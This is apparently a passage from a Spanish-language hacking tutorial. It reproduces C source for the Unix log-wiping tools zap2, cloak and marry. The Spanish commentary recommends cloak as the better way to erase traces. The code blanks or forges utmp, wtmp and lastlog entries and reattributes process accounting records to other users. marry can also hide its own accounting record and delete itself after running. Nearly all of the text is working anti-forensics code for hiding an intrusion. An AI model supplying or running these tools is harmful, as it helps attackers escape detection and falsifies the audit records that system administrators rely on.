char *who;

{

struct utmp utmp_ent;

 

if ((f=open(UTMP_NAME,O_RDWR))>=0) {

while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

bzero((char *)&utmp_ent,sizeof( utmp_ent ));

lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);

write (f, &utmp_ent, sizeof (utmp_ent));

}

close(f);

}

}

 

void kill_wtmp(who)

char *who;

{

struct utmp utmp_ent;

long pos;

 

pos = 1L;

if ((f=open(WTMP_NAME,O_RDWR))>=0) {

 

while(pos != -1L) {

lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);

if (read (f, &utmp_ent, sizeof (struct utmp))<0) {

pos = -1L;

} else {

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

bzero((char *)&utmp_ent,sizeof(struct utmp ));

lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);

write (f, &utmp_ent, sizeof (utmp_ent));

pos = -1L;

} else pos += 1L;

}

}

close(f);

}

}

 

void kill_lastlog(who)

char *who;

{

struct passwd *pwd;

struct lastlog newll;

 

if ((pwd=getpwnam(who))!=NULL) {

 

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {

lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);

bzero((char *)&newll,sizeof( newll ));

write(f, (char *)&newll, sizeof( newll ));

close(f);

}

 

} else printf("%s: ?\n",who);

}

 

main(argc,argv)

int argc;

char *argv[];

{

if (argc==2) {

kill_lastlog(argv[1]);

kill_wtmp(argv[1]);

kill_utmp(argv[1]);

printf("Zap2!\n");

} else

printf("Now...that was as bad as shit!\n");

}

 

 

 

Bien, ya he puesto el zap2.. ahora pongo el cloak que es el que hay que usar

ya que borra mejor las huellas y ademas se encarga del acct:

 

 

 

/*

* C L O A K

*

* Wrap yourself in a cloak of darkness (heh heh heh).

*

* Michael S. Baldwin, Matthew Diaz 1982

*

* Marcus J. Ranum - 1983 - complete re-write and munging

* added more options, and all kinds of evil - including the

* ability to vanish from wtmp and acct as well as utmp. Added more

* error checking and useful command syntax. Now you can attribute

* all *YOUR* CPU usage to others when playing hack !!!

*

*/

 

 

#include <stdio.h>

#include <sys/types.h>

#include <utmp.h>

#include <pwd.h>

#include <lastlog.h>

#include <sys/file.h>

#include <sys/acct.h>

 

/* set these guys. If you're sysV a port should be easy */

#define UTMP "/etc/utmp"

#define WTMP "/usr/adm/wtmp"

#define LAST "/usr/adm/lastlog"

#define ACCT "/usr/adm/acct"

 

 

main(ac,av)

int ac;

char *av[];

{

char *tp = "";

char *un = "";

char *hn = "";

char *pn = "";

long newt = 0L;

int wflg = 0;

int aflg = 0;

int refs = 1;

int x; /* klunch */

char *p;

extern char *index();

extern time_t time();

 

for(x = 1; x < ac; x++) {

if(av[x][0] == '-')

switch(av[x][1]) {

case 'u': /* username to be :-) */

if((x + 1) < ac)

un = av[++x];

break;

 

case 't': /* tty slot to be on :-) */

if((x + 1) < ac)

tp = av[++x];

break;

 

case 'h': /* host name to be on :-) */

if((x + 1) < ac)

hn = av[++x];

break;

 

case 'r': /* # of refs to zap :-) */

if((x + 1) < ac)

refs = atoi(av[++x]);

break;

 

case 's':

execl("/bin/sh","sh",0);

perror("exec");

exit(1);

 

case 'w': /* vanish from wtmp, too */

wflg++;

break;

 

case 'a': /* vanish from acct, too */

aflg++;

break;

 

case 'p': /* specific program for acct */

if((x + 1) < ac)

pn = av[++x];

break;

 

case 'l': /* log on time */

if((x + 1) >= ac)

break;

newt = atoi(p = av[++x]);

if(p = index(p,':')) {

newt *= 60;

newt += ((newt > 0) ? 1 : -1) *

atoi(++p);

}

newt *= 60;

newt += time((long *)0L);

break;

 

default:

exit(usage());

}

 

}

 

if(wflg && wtmpzap(tp,un,hn,newt,refs))

perror(av[0]);

 

if(aflg && acctzap(un,pn))

perror(av[0]);

 

if(utmpzap(tp,un,hn,newt)) {

perror(av[0]);

exit(1);

}

 

if(lastzap(tp,un,hn,newt)) {

perror(av[0]);

exit(1);

}

 

exit(0);

}

 

utmpzap(tt,un,hn,tim)

char *tt;

char *un;

char *hn;

long tim;

{

int fd;

int slot;

struct utmp ubuf;

extern time_t time();

extern char *strncpy();

extern long lseek();

 

if((slot = ttyslot()) == 0) {

(void)fprintf(stderr,"No tty slot");

return(-1);

}

 

if((fd = open(UTMP,O_RDWR)) == -1 )

return(-1);

 

if(lseek(fd,(long)(slot * sizeof(ubuf)),0) < 0) {

(void)close(fd);

return(-1);

}

 

if(read(fd,(char *)&ubuf,sizeof(ubuf)) != sizeof(ubuf)) {

(void)close(fd);

return(-1);

}

 

if(tim)

ubuf.ut_time = tim;

else

ubuf.ut_time = time((long *)0L);

 

(void)strncpy(ubuf.ut_name,un,sizeof(ubuf.ut_name));

 

if(!tt[0] == '\0')

(void)strncpy(ubuf.ut_line,tt,sizeof(ubuf.ut_line));

(void)strncpy(ubuf.ut_host,hn,sizeof(ubuf.ut_host));

 

if(lseek(fd,(long)(-sizeof(ubuf)), 1) < 0) {

(void)close(fd);

return(-1);

}

 

if(write(fd,(char *)&ubuf,sizeof(ubuf)) != sizeof(ubuf)) {

(void)close(fd);

return(-1);

}

 

return(close(fd));

}

 

wtmpzap(tt,un,hn,tim,refs)

char *tt;

char *un;

char *hn;

long tim;

int refs;

{

int fd;

char *p;

char tbuf[40];

struct utmp ubuf;

extern char *strncpy();

extern char *strcpy();

extern char *rindex();

extern char *ttyname();

extern long lseek();

extern time_t time();

 

if((p = ttyname(0)) != NULL)

(void)strcpy(tbuf,p);

else

return(0);

 

/* figure out our device name */

p = rindex(tbuf,'/');

if(p == NULL)

p = tbuf;

else

p++;

 

 

if((fd = open(WTMP,O_RDWR)) == -1 )

return(-1);

 

if(lseek(fd,0L,2) < 0)

return(-1);

 

 

/* this is gross, but I haven't a better idea how it can */

/* be done - so who cares ? */

 

while(refs) {

if((lseek(fd,(long)(-sizeof(ubuf)),1)) < 0) {

(void)close(fd);

return(0);

}

 

if(read(fd,(char *)&ubuf,sizeof(ubuf)) != sizeof(ubuf)) {

(void)close(fd);

return(0);

}

if(!strcmp(p,ubuf.ut_line)) {

if(tim)

ubuf.ut_time = tim;

else

ubuf.ut_time = time((long *)0L);

 

(void)strncpy(ubuf.ut_name,un,sizeof(ubuf.ut_name));

(void)strncpy(ubuf.ut_host,hn,sizeof(ubuf.ut_host));

 

if(!tt[0] == '\0')

 

(void)strncpy(ubuf.ut_line,tt,sizeof(ubuf.ut_line));

 

if(lseek(fd,(long)(-sizeof(ubuf)),1) < 0) {

(void)close(fd);

return(0);

}

 

if(write(fd,(char *)&ubuf,sizeof(ubuf)) !=

sizeof(ubuf)){

(void)close(fd);

return(0);

}

 

if(lseek(fd,(long)(-sizeof(ubuf)),1) < 0) {

(void)close(fd);

return(0);

}

 

refs--;

}

 

if(lseek(fd,(long)(-sizeof(ubuf)),1) < 0) {

(void)close(fd);

return(0);

}

 

}

 

return(close(fd));

}

 

acctzap(un,pn)

char *un;

char *pn;

{

int fd;

int faku =0;

int realu;

struct acct actbuf;

struct passwd *pwt;

extern struct passwd *getpwnam();

 

if((fd = open(ACCT,O_RDWR)) == -1 )

return(-1);

 

realu = getuid();

 

if(un[0] != '\0' && ((pwt = getpwnam(un)) != NULL))

faku = pwt->pw_uid;

 

while(1) {

if(read(fd,(char *)&actbuf,sizeof(actbuf)) != sizeof(actbuf)) {

(void)close(fd);

return(0);

}

 

if(realu == actbuf.ac_uid) {

 

/* only zap a specific program to user */

if(pn[0] != '\0' && strcmp(pn,actbuf.ac_comm))

continue;

 

actbuf.ac_uid = faku;

actbuf.ac_flag &= ~ASU;

if(lseek(fd,(long)(-sizeof(actbuf)),1) < 0) {

(void)close(fd);

return(0);

}

 

if(write(fd,(char *)&actbuf,sizeof(actbuf)) !=

sizeof(actbuf)){

(void)close(fd);

return(0);

}

}

}

}

 

usage()

{

#ifdef USAGE

(void)fprintf(stderr,"usage: cloak <options>\n");

(void)fprintf(stderr,"options are:\t-l <+->hh:mm (login time)\n");

(void)fprintf(stderr,"\t\t-u username\t\t\t-t ttyname\n");

(void)fprintf(stderr,"\t\t-w (clobber wtmp)\t\t-r #of refs to

clobber\n");

(void)fprintf(stderr,"\t\t-h host\t\t-a (clobber accounting)\n");

(void)fprintf(stderr,"\t\t-p program (attribute only program to

acct)\n");

(void)fprintf(stderr,"(no args causes a simple vanishing act)\n");

#endif

return(1);

}

 

lastzap(tt,un,hn,tim)

char *tt;

char *un;

char *hn;

long tim;

{

int fd;

int uid;

struct lastlog lbuf;

extern time_t time();

extern char *strncpy();

extern long lseek();

 

uid = getuid();

 

if((fd = open(LAST,O_RDWR)) == -1 )

return(-1);

 

if(lseek(fd,(long)(uid * sizeof(lbuf)),0) < 0) {

(void)close(fd);

return(-1);

}

 

if(read(fd,(char *)&lbuf,sizeof(lbuf)) != sizeof(lbuf)) {

(void)close(fd);

return(-1);

}

 

if(tim)

lbuf.ll_time = tim;

else

lbuf.ll_time = time((long *)0L);

 

if(!tt[0] == '\0')

(void)strncpy(lbuf.ll_line,tt,sizeof(lbuf.ll_line));

(void)strncpy(lbuf.ll_host,hn,sizeof(lbuf.ll_host));

 

if(lseek(fd,(long)(-sizeof(lbuf)), 1) < 0) {

(void)close(fd);

return(-1);

}

 

if(write(fd,(char *)&lbuf,sizeof(lbuf)) != sizeof(lbuf)) {

(void)close(fd);

return(-1);

}

 

return(close(fd));

}

}

 

Ademas de estos, habria ke mencionar otros como el wipe, marry, remove,

clean, etc... algunos de los kuales estan bastante bien. Adjunto tambien el

marry ya ke ofrece algunas posibilidades interesantes y se usa bastante ( borra

tambien acct):

 

 

 

/* marry v1.1 (c) 1991 -- Proff -- proff@suburbia.apana.org.au,

* All rights reserved.

*

* May there be peace in the world, and objectivity amoung men.

*

* You may not use this program for unethical purposes.

*

* You may not use this program in relation to your employment, or for monetary

* gain without express permission from the author.

*

* usage:

* marry [-aetsuScDn] [-i src] [-o obj] [-d dump] [-p pat] [-v pat] [-m [WLA]]

* [-E editor] [-h program] [-b backup ]

*

* -a automode, dump, run editor over dump and re-assemble to object

* -e edit source, assemble directly to input file, imples no insertion

* of records before an equal quantity of deltion

* -t truncate object to last line of dump source when assembling

* -s squeeze, delete all record in input not occuring in dump

* (higher entries in input will be appended unless -t is also

* specified)

* -u when in [L]astlog mode do user-id -> name lookups (time consuming)

* -S Security, when in [A]cct and -[a]uto mode replace editor's acct

* record with an unmodified random previous entry, detach from

* terminal, SIGKILL ourselves or execlp [-h program] to hide our

* acct record (marry should be exec'ed under these circumstances)

* -c clean, delete backup and dump files once complete

* -D Delete our self once complete (i.e argv[0])

* -n no backups, don't make backups when in -e, -a modes or when

* -i file == -o file

* -i src input, the utmp, wtmp, lastlog or p/acct file concerned. defaults

* to the system wtmp/lastlog/pacct depending on mode if not specified

* -o obj output, the dump assembled and input merged version of the

* above. if given and not in -[a]uto mode, implies we are

* assembling, not dumping.

* -d dump dump, the dump (editable representation of src) file name. this

* is is either an input (-o specified) an output (no -o) or both

* -[a]uto. defaults to "marry.dmp" in the current directory if not

* specified

* -p pat pattern match. When disassembling (dumping), only extract records

* which match (checked against all string fields, and the uid if

* the pattern is a valid username)

* -v pat inverse pattern match. like egrep -v. above non-logic features.

* -m mode mode is one of:

*

* W - utmp/wtmp (or utmpx/wtmpx see UTMPX #define)

* L - lastlog

* A - acct/pacct

*

* -E editor editor to be used in -[a]uto mode. defaults to /usr/bin/vi. must

* be the full path in -[S]ecurity mode (we do some clever

* symlinking)

* -h program hide, if -S mode is on, then attempt to conceal our acct entry by

* execlp'ing the specified program. this seems to work on BSD derived

* systems. with others, your might want to just call marry something

* innocous.

* -b backup name of backup file, defaults to "marry.bak"

*

* the following instruction codes can be placed in position one of the dump

* lines to be assembled (e.g "0057a" -> "=057a"):

*

* '=' tag modification of entry.

* '+' tag insertion of entry

*

* Examples:

*

* $ marry -mW -i /etc/utmp -s -a # dump, edit, re-assemble and strip deleted

* # entries from utmp

*

* $ marry -mL -u -a -n -e # dump lastlog with usernames, edit, make no

* # backups and re-assemble in-situ directly to

* # lastlog

*

* $ marry -mW -a -p mil -E emacs # dump all wtmp entries matching "mil",

edit

* # with emacs, re-assemble and re-write to wtmp

*

* $ exec marry -mA -SceD # dump all acct entries by root, edit,

remove

* -h /usr/sbin/in.fingerd # editor's acct record, re-assemble directly

* -p root -a -i /var/account/acct # to acct in-situ, delete backup and dump file,

* # delete ourself from the disk, unassign our

* # controling terminal, and lastly overlay our

* # self (and thus our to be acct record) with

* # in.fingerd

*/

#define UTMP

#undef UTMPX /* solaris has both */

#define LASTLOG

#define PACCT

#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <string.h>

#include <sys/types.h>

#include <sys/time.h>

#include <sys/stat.h>

#include <sys/wait.h>

#include <fcntl.h>

#include <signal.h>

#include <pwd.h>

#include <grp.h>

#include <errno.h>

#ifdef __SVR3

# include <getopts.h>

#endif

#ifndef bsd

# if defined(__NetBSD__) || defined(bsdi) || defined(BSDI) ||

defined(__386BSD__)

# define bsd

# endif

#endif

#if !defined(gcc)

# define NO_VOID /* non gcc, early compiliers */

#endif

#ifndef __SVR3

extern char *optarg;

#endif

#ifdef NO_VOID

# define VOID int

# define FVOID

#else

# define VOID void

# define FVOID void

#endif

#ifndef bool

# define bool char

#endif

#define match(a,b) (match_s((a), (b), sizeof(a)))

#ifdef UTMP

#ifdef UTMPX

# include <utmpx.h>

# define S_UTMP utmpx

# define UT_HOST ut_host

# define UT_ID ut_id

# define UT_TYPE ut_type

# define UT_PID ut_pid

# define UT_TV ut_tv

# ifdef _PATH_WTMPX

# define WTMP_FILE _PATH_WTMPX

# else

# ifdef WTMPX_FILE

# define WTMP_FILE WTMPX_FILE

# else

# define WTMP_FILE "/usr/adm/wtmpx"

# endif

# endif

#else

# include <utmp.h>

# define S_UTMP utmp

# ifndef WTMP_FILE

# ifdef _PATH_WTMP

# define WTMP_FILE _PATH_WTMP

# else

# define WTMP_FILE "/usr/adm/wtmp"

# endif

# endif

# if !defined(ut_name) && !defined(ut_user)

# define ut_user ut_name

# endif

# if defined(linux) || defined(bsd) || defined(sun)

# define UT_HOST ut_host

# endif

# ifdef linux

# define UT_ADDR ut_addr

# endif

# define UT_TIME ut_time

# if defined(linux) || defined(solaris)

# define UT_PID ut_pid

# define UT_ID ut_id

# endif

# if defined(linux) || defined(solaris) || defined(sysv) || defined(SYSV) ||

defined(SVR4)

# define UT_TYPE ut_type

# endif

#endif

#endif

#ifdef LASTLOG

# ifdef bsd

# ifndef UTMP

# include <utmp.h>

# endif

# else

# include <lastlog.h>

# endif

# ifndef LASTLOG_FILE

# ifdef _PATH_LASTLOG

# define LASTLOG_FILE _PATH_LASTLOG

# else

# define LASTLOG_FILE "/usr/adm/lastlog"

# endif

# endif

# define LL_HOST ll_host

#endif

#ifdef PACCT

# include <sys/acct.h>

# ifdef bsd

# define PACCT_FILE "/var/account/acct"

# else

# define PACCT_FILE "/usr/adm/pacct"

# endif

#endif

#ifdef UT_ADDR

# include <arpa/inet.h>

#endif

FILE *ofh, *ifh, *afh;

#ifdef UTMP

struct S_UTMP s_utmp;

#endif

#ifdef LASTLOG

struct lastlog s_lastlog;

#endif

#ifdef PACCT

struct acct s_acct;

struct acct ac_saved;

int acct_step;

#endif

char ac_comm_hide[32];

struct passwd *uid;

struct passwd uid_s;

char **uida=NULL;

char **gida=NULL;

#define MAX_UID 65537

char *quotes="\"\"";

int globline=0;

char *a_Input=NULL;

char *a_Output=NULL;

char *a_Pattern=NULL;

char *a_Hide=NULL;

#ifdef sun

char *a_Editor="/usr/ucb/vi";

#else

char *a_Editor="/usr/bin/vi";

#endif

char *a_Dump="marry.dmp";

char *a_Backup="marry.bak";

bool f_Auto=0;

bool f_Squeeze=0;

bool f_EditSrc=0;

bool f_Truncate=0;

bool f_Exclude=0;

bool f_Uid=0;

bool f_Security=0;

bool f_Clean=0;

bool f_DeleteSelf=0;

bool f_NoBackups=0;

bool f_backedup;

char mode;

int mode_size=0;

void *mode_data;

int globline;

char *mes;

time_t otime=0;

FVOID display()

{

static int n;

time_t t;

globline++;

if (n++<30) return; /* don't want too many context switches */

n=0;

time(&t);

if (t<(otime+1)) return;

otime=t;

printf("%s%d\r", mes, globline);

fflush(stdout);

}

FVOID display_end()

{

printf("%s%d\n", mes, globline);

fflush(stdout);

}

#ifdef NO_VOID

char

#else

void

#endif

*

Smalloc(n)

int n;

{

#ifdef NO_VOID

char

#else

void

#endif

* p;

while (!(p=malloc(n))) sleep(1);

return p;

}

bool copyf(src, dst)

char *src;

char *dst;

{

#define CBUFLEN 128*1024

int fi, fo;

char *buf;

int cc;

if ((fi=open(src, O_RDONLY, 0))<0)

{

perror(src);

exit(1);

}

if ((fo=open(dst, O_WRONLY|O_CREAT|O_TRUNC, 0666))<0)

{

perror(dst);

exit(1);

}

buf=Smalloc(CBUFLEN);

while ((cc=read(fi, buf, CBUFLEN))>0)

if (write(fo, buf, cc)!=cc)

{

perror(dst);

exit(1);

}

close(fo);

close(fi);

free(buf);

return 1;

}

bool backup(src)

char *src;

{

printf("backup = %s\n", a_Backup);

fflush(stdout);

return copyf(src, a_Backup);

}

char *match_s(haystack, needle, n)

char *haystack;

char *needle;

int n;

{

static char tmp[256];

strncpy(tmp, haystack, n>sizeof(tmp)? sizeof(tmp): n);

return strstr(tmp, needle);

}

unsigned short atoi2(s)

char *s;

{

return (s[0]-'0')*10+(s[1]-'0');

}

char *p_string(s, size)

char *s;

int size;

{

static char sss[1024];

register int n;

char *ss=sss;

if (!*s) return quotes;

 

for (n=0; n<size; n++)

{

char c=s[n];

switch (c)

{

case '\\':

*(ss++)=c;

break;

case ' ':

*(ss++)='\\';

break;

case '\t':

*(ss++)='\\';

c='t';

break;

case '\n':

*(ss++)='\\';

c='n';

break;

case '\r':

*(ss++)='\\';

c='r';

break;

case 0:

goto end;

}

*(ss++)=c;

}

end:

*ss=0;

return sss;

}

char *skip_white(s)

char *s;

{ for (; *s && (*s=='\t' || *s==' '); s++);

if (!*s || (*s=='\n')) return NULL;

return s;

}

char *g_string(d, s, size)

char *d;

char *s;

int size;

{

int y;

char c;

char f_esc=0;

for (y=0; y<size; y++) d[y]=0;

if (!(s=skip_white(s))) return NULL;

if (*s=='"' && *(s+1)=='"') return s+2;

for (y=0; y<size; s++)

{

c=*s;

if (f_esc)

{

switch(c)

{

case 'r':

c='\r';

break;

case 'n':

c='\n';

break;

case 't':

c='\t';

break;

}

f_esc=0;

} else {

switch(c)

{

case '\\':

f_esc=1;

continue;

case ' ':

case '\t':

case '\n':

case '\0':

goto end;

}

}

d[y++]=c;

}

end:

return s+1;

}

char *time_s(tt)

time_t tt;

{

static char s[13];

time_t t=tt; /* some compilers won't take a parameter address */

struct tm *tp;

tp=localtime(&t);

sprintf(s, "%02d%02d%02d%02d%02d%02d",

tp->tm_year, tp->tm_mon+1, tp->tm_mday,

tp->tm_hour, tp->tm_min, tp->tm_sec);

return s;

}

 

time_t time_i(s)

char *s;

{

struct tm lt;

time_t t;

if (strlen(s)!=12) return (time_t)-1;

time(&t);

lt=*localtime(&t);

lt.tm_year=atoi2(s);

lt.tm_mon=atoi2(s+2)-1;

lt.tm_mday=atoi2(s+4);

lt.tm_hour=atoi2(s+6);

lt.tm_min=atoi2(s+8);

lt.tm_sec=atoi2(s+10);

lt.tm_isdst=-1;

return mktime(&lt);

}

char *

bgetgrgid(u)

gid_t u;

{

struct group *gr;

if (!gida)

{

int n;

gida=(char **)Smalloc(sizeof(char *)*MAX_UID);

for (n=0; n<MAX_UID; n++) gida[n]=NULL;

}

if (gida[u]==(char *)-1) return NULL;

if (gida[u]) return gida[u];

if (!(gr=getgrgid(u)))

{

gida[u]=(char *)-1;

return NULL;

}

gida[u]=Smalloc(strlen(gr->gr_name)+1);

strcpy(gida[u], gr->gr_name);

return gida[u];

}

char *

bgetpwuid(u)

uid_t u;

{

struct passwd *pw;

if (!uida)

{

int n;

uida=(char **)Smalloc(sizeof(struct passwd *)*MAX_UID);

for (n=0; n<MAX_UID; n++) uida[n]=NULL;

}

if (uida[u]==(char *)-1) return NULL;

if (uida[u]) return uida[u];

if (!(pw=getpwuid(u)))

{

uida[u]=(char *)-1;

return NULL;

}

uida[u]=Smalloc(strlen(pw->pw_name)+1);

strcpy(uida[u], pw->pw_name);

return uida[u];

}

#ifdef UTMP

bool dump_utmp(uline, ut)

int uline;

struct S_UTMP *ut;

{

time_t tim;

if (a_Pattern)

{

if (!match(ut->ut_user, a_Pattern) &&

!match(ut->ut_line, a_Pattern)

#ifdef UT_HOST

&& !match(ut->UT_HOST, a_Pattern)

#endif

) {if (!f_Exclude) return 1;}

else if (f_Exclude) return 1;

}

fprintf(afh, "%05x", uline-1);

fprintf(afh, " %-8s", p_string(ut->ut_user, sizeof(ut->ut_user)));

fprintf(afh, " %-11s", p_string(ut->ut_line, sizeof(ut->ut_line)));

#ifdef UT_ID

fprintf(afh, " %-4s", p_string(ut->UT_ID, sizeof(ut->UT_ID)));

#endif

#ifdef UT_TYPE

fprintf(afh, " %-2x", ut->UT_TYPE);

#endif

#ifdef UT_PID

fprintf(afh, " %-5d", (int)ut->UT_PID);

#endif

#if defined(UT_TIME) || defined (UT_TV)

# ifdef UT_TIME

tim=ut->UT_TIME;

# else

tim=ut->UT_TV.tv_sec;

# endif

fprintf(afh, " %s", time_s(tim));

#endif

#ifdef UT_ADDR

fprintf(afh, " %-15s", inet_ntoa(*((struct in_addr *)&ut->UT_ADDR)));

#endif

#ifdef UT_HOST

fprintf(afh, " %s", p_string(ut->UT_HOST, sizeof(ut->UT_HOST)));

#endif

fputc('\n', afh);

return 1;

}

#endif

#ifdef LASTLOG

bool dump_lastlog(uline, ll)

int uline;

struct lastlog *ll;

{

char *name;

struct passwd *pw;

if (f_Uid)

{

pw=getpwuid(uline-1);

name=pw? pw->pw_name: quotes;

} else

{

static char s[6];

sprintf(s, "%05d", uline-1);

name=s;

}

if (a_Pattern)

{

if (

(!uid || (uid->pw_uid!=(uline-1))) &&

(!f_Uid || strstr(name, a_Pattern)) &&

#ifdef LL_HOST

!match(ll->ll_host, a_Pattern) &&

#endif

!match(ll->ll_line, a_Pattern)

) {if (!f_Exclude) return 1;}

else if (f_Exclude) return 1;

}

fprintf(afh, "%05x", uline-1);

fprintf(afh, " %-8s", name);

fprintf(afh, " %-11s", p_string(ll->ll_line, sizeof(ll->ll_line)));

fprintf(afh, " %s", time_s(ll->ll_time));

#ifdef LL_HOST

fprintf(afh, " %s", p_string(ll->LL_HOST, sizeof(ll->LL_HOST)));

#endif

fputc('\n', afh);

return 1;

}

#endif

#ifdef PACCT

bool dump_pacct(uline, ac)

int uline;

struct acct *ac;

{

char *name;

char *gr_name;

if (!(name=bgetpwuid(ac->ac_uid)))

{

static char s[6];

sprintf(s, "%05d", ac->ac_uid);

name=s;

}

if (!(gr_name=bgetgrgid(ac->ac_gid)))

{

static char s[6];

sprintf(s, "%05d", ac->ac_gid);

gr_name=s;

}

if (a_Pattern)

{

if (

(!uid || (uid->pw_uid!=ac->ac_uid)) &&

(strstr(name, a_Pattern)) &&

(strstr(gr_name, a_Pattern))

) {if (!f_Exclude) return 1;}

else if (f_Exclude) return 1;

}

fprintf(afh, "%05x", uline-1);

fprintf(afh, " %-8s", name);

fprintf(afh, " %-8s", gr_name);

fprintf(afh, " %-10s", p_string(ac->ac_comm, sizeof(ac->ac_comm)));

if (ac->ac_tty==(dev_t)-1)

fputs(" ----", afh);

else

fprintf(afh, " %04x", ac->ac_tty);

fprintf(afh, " %2x", ac->ac_flag);

fprintf(afh, " %s", time_s(ac->ac_btime));

fputc('\n', afh);

return 1;

}

#endif

FVOID makedump()

{

int uline;

if ((ifh=fopen(a_Input, "r"))==NULL)

{

perror(a_Input);

exit(1);

}

if ((afh=fopen(a_Dump, "w"))==NULL)

{

perror(a_Dump);

exit(1);

}

fputc('\n', stdout);

globline=0;

mes="entries disassembled: ";

for (uline=1; fread(mode_data, mode_size, 1, ifh)>0; uline++)

{

display();

switch(mode)

{

#ifdef UTMP

case 'W':

dump_utmp(uline, mode_data);

break;

#endif

#ifdef LASTLOG

case 'L':

dump_lastlog(uline, mode_data);

break;

#endif

#ifdef PACCT

case 'A':

dump_pacct(uline, mode_data);

break;

#endif

}

}

display_end();

fclose(afh);

fclose(ifh);

}

int seek_ifh(uline)

int uline;

{

if (ftell(ifh)!=mode_size*(uline-1))

if (fseek(ifh, mode_size*(uline-1), SEEK_SET)==-1)

return 0;

return 1;

}

#ifdef UTMP

int mod_utmp(ut, p)

struct S_UTMP *ut;

char *p;

{

char *op;

static char tmp[255];

#if defined(UT_TIME) || defined(UT_TV)

#endif

op=p;

if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;

if (!(p=g_string(ut->ut_user, p, sizeof(ut->ut_user)))) return 0;

if (!(p=g_string(ut->ut_line, p, sizeof(ut->ut_line)))) return 0;

#ifdef UT_ID

if (!(p=g_string(ut->UT_ID, p, sizeof(ut->UT_ID)))) return 0;

#endif

#ifdef UT_TYPE

if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;

sscanf(tmp, "%x", (unsigned int *)&(ut->UT_TYPE));

#endif

#ifdef UT_PID

if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;

ut->UT_PID=atoi(tmp);

#endif

#if defined(UT_TIME) || defined(UT_TV)

if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;

# ifdef UT_TIME

if ((ut->UT_TIME=time_i(tmp))==(time_t)-1)

# else /* UT_TV */

if ((ut->UT_TV.tv_sec=time_i(tmp))==(time_t)-1)

# endif

fprintf(stderr, "warning: invalid time spec %s", op);

#endif

#ifdef UT_ADDR

if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;

ut->UT_ADDR=inet_addr(tmp);

#endif

#ifdef UT_HOST

if (!(p=g_string(ut->UT_HOST, p, sizeof(ut->UT_HOST)))) return 0;

#endif

return 1;

}

#endif

#ifdef LASTLOG

int mod_lastlog(ll, p)

struct lastlog *ll;

char *p;

{

char *op;

static char tmp[255];

op=p;

if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;

if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; /*skip name*/

if (!(p=g_string(ll->ll_line, p, sizeof(ll->ll_line)))) return 0;

if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;

if ((ll->ll_time=time_i(tmp))==(time_t)-1)

fprintf(stderr, "warning illegal time: %s\n", op);

#ifdef LL_HOST

if (!(p=g_string(ll->ll_host, p, sizeof(ll->ll_host)))) return 0;

#endif

return 1;

}

#endif

#ifdef PACCT

int mod_pacct(ac, p)

struct acct *ac;

char *p;

{

static char tmp[255];

struct passwd *pw;

struct group *gr;

char *op;

long int t;

unsigned int tu;

op=p;

if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;

if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;

if (sscanf(tmp, "%ld", &t)!=1)

{

if (!(pw=getpwnam(tmp)))

fprintf(stderr, "warning: unknown username %s\n", op);

else

ac->ac_uid=pw->pw_uid;

} else ac->ac_uid=t;

if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;

if (sscanf(tmp, "%ld", &t)!=1)

{

if (!(gr=getgrnam(tmp)))

fprintf(stderr, "warning: unknown group %s\n", op);

else

ac->ac_gid=pw->pw_gid;

} else ac->ac_gid=t;

if (!(p=g_string(ac->ac_comm, p, sizeof(ac->ac_comm)))) return 0;

if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;

if (sscanf(tmp, "%x", &tu)!=1) ac->ac_tty=(dev_t)-1;

else ac->ac_tty=tu;

if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;

if (sscanf(tmp, "%x", &tu)!=1)

fprintf(stderr, "warning: invalid flags %s\n", op);

else ac->ac_flag=tu;

if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;

if ((ac->ac_btime=time_i(tmp))==(time_t)-1)

fprintf(stderr, "warning: illegal time: %s\n", op);

return 1;

}

#endif

bool wcopy(uline)

int uline;

{

if (!seek_ifh(uline)) return 0;

while (fread(mode_data, mode_size, 1, ifh)>0)

{

display();

#ifdef PACCT

if (f_Security && f_Auto && mode=='A')

{

struct acct *p;

p=(struct acct *)mode_data;

if (!strncmp(p->ac_comm, ac_comm_hide,

sizeof(ac_comm_hide)))

{

ac_saved.ac_btime=p->ac_btime;

*p=ac_saved;

}

}

#endif

if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;

}

#ifndef NO_FTRUNCATE

if (f_Squeeze && f_EditSrc) ftruncate(fileno(ofh), ftell(ofh));

#endif

return 1;

}

bool domod(p)

char *p;

{

bool ret=0;

if (fread(mode_data, mode_size, 1, ifh)<1) return 0;

switch(mode)

{

#ifdef UTMP

case 'W':

ret=mod_utmp(mode_data, p);

break;

#endif

#ifdef LASTLOG

case 'L':

ret=mod_lastlog(mode_data, p);

break;

#endif

#ifdef PACCT

case 'A':

ret=mod_pacct(mode_data, p);

break;

#endif

}

if (!ret)

fprintf(stderr, "warning: invalid dump input `%s'\n", p);

return 1;

}

static wu_line=0;

int obj_update(uline, p, f_mod)

int uline;

char *p;

char f_mod;

{

if (f_Squeeze)

{

display();

seek_ifh(uline);

if (f_mod) {if (!domod(p)) return 0;}

else if (fread(mode_data, mode_size, 1, ifh)<1) return 0;

if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;

} else {

if (f_EditSrc)

{

if (f_mod)

fseek(ofh, mode_size*(uline-1), SEEK_SET);

} else {

while(++wu_line<uline)

{

display();

if (fread(mode_data, mode_size, 1, ifh)<1) return 0;

